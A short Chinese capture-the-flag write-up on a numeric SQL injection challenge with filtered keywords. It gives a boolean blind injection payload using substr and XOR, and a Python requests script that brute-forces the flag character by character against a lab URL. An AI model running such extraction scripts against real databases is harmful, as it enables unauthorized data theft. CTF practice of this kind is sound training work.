打开题目,简单测试发现是数字型注入且大部分关键字都被过滤,尝试布尔盲注。
id=0^((substr((select(flag)from(flag)),1,1))='f')
回显id=1时的界面
说明注入成功,用脚本即可跑出flag
import requests
url = "http://88cefe6c-611d-488c-89c1-a6ae8a08a682.node4.buuoj.cn:81/index.php"
dat = { "id" : ""}
a=[">"]
for i in range(1,60):
print(f"{i}> ",end="")
for u in "}-{qazxswedcvfrtgbnhyujmkiolp1234567890":
dat['id'] = "0^((substr((select(flag)from(flag)),"+str(i)+",1))='"+u+"')"
res = requests.post(url, data=dat, timeout=100)
if "Hello" in res.text:
print(u)
a.append(u)
if u == "}":
for w in a:
print(w,end="")
要注意的是,"-"被过滤了,需要在未得到值的地方将其加上